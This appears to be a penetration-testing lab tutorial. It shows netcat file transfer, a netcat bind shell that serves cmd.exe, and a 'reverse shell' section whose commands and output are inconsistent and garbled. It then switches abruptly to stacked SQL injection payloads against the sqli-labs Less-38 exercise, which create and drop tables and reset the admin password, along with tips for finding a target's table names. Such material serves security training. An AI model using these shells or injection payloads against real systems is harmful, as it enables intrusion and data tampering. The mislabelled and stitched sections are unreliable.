  1. Transferring Files with Netcat

From Server:

1
2
3
//From server : 
C:\Users\Administrator\Desktop\nc> nc -nlvp 4444 > mync.exe
listening on [any] 4444 ...

From client :

1
2
3
4
//From client : 
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -nv 192.168.244.143 4444 < /home/kali/Desktop/nc.exe
(UNKNOWN) [192.168.244.143] 4444 (?) open

Notice that we have not received any feedback from Netcat about our file upload progress. In this
case, since the file we are uploading is small, we can just wait a few seconds, then check whether
the file has been fully uploaded to the Windows machine by attempting to run it:

1
2
3
4
5
6
7
8
9
10
11
C:\Users\Administrator\Desktop\nc>mync -h
[v1.10-47]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
...
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
  1. Netcat Bind Shell Scenario

Run Netcat with the -e option to execute cmd.exe once a connection is made to the listening port:

1
2
C:\Users\Administrator\Desktop\nc> nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 ...

Client:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -nv 192.168.244.143 4444
(UNKNOWN) [192.168.244.143] 4444 (?) open
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop\netcat-1.11>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::6d45:b51c:b367:2f09%11
IPv4 Address. . . . . . . . . . . : 192.168.244.143
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.244.2

Tunnel adapter isatap.localdomain:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : localdomain

C:\Users\Administrator\Desktop\netcat-1.11>

This is indeed a “gaping security hole”!

  1. Reverse Shell Scenario
    Server:
    1
    2
    C:\Users\Administrator\Desktop\nc> nc -nlvp 4444 -e cmd.exe
    listening on [any] 4444 ...

Client:

1
2
3
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -nv 192.168.244.143 4444
(UNKNOWN) [192.168.244.143] 4444 (?) open

Then server side shows like:

1
2
3
4
5
6
7
8
9
C:\Users\Administrator\Desktop\nc> nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 ...
connect to [192.168.244.136] from (UNKNOWN) [192.168.244.140] 35156
ls
code.desktop
nc.exe

ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0

In SQL, a semicolon represents the end of one SQL statement, while stack-based injection involves executing multiple SQL statements together. Stack-based injection is different from other injection techniques and has limitations.

1
2
%27 --- '
%20 --- space

How can you find the table fields and table names of the other party?

  1. Look for exploitable files using directory traversal vulnerabilities, such as files with a .sql extension.
  2. Use directory/file fuzzing tools like Dirsearch, etc., to search for .sql files.
  3. Search for source code leakage vulnerabilities on the other party’s website; the source code may contain exploitable files.
  4. Search for the other party’s website source code on GitHub.

Example:

1
2
3
4
5
http://192.168.1.33/sqli-labs-master/Less-38/?id=1'    //You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1   
http://192.168.1.33/sqli-labs-master/Less-38/?id=1'; // it's ok
http://192.168.1.33/sqli-labs-master/Less-38/?id=1';create table aa like users; //create a table named aa, structure like table users
http://192.168.1.33/sqli-labs-master/Less-38/?id=1';drop table aa--+
http://192.168.1.33/sqli-labs-master/Less-38/?id=1';update users set password ='admin@1234' where username='admin'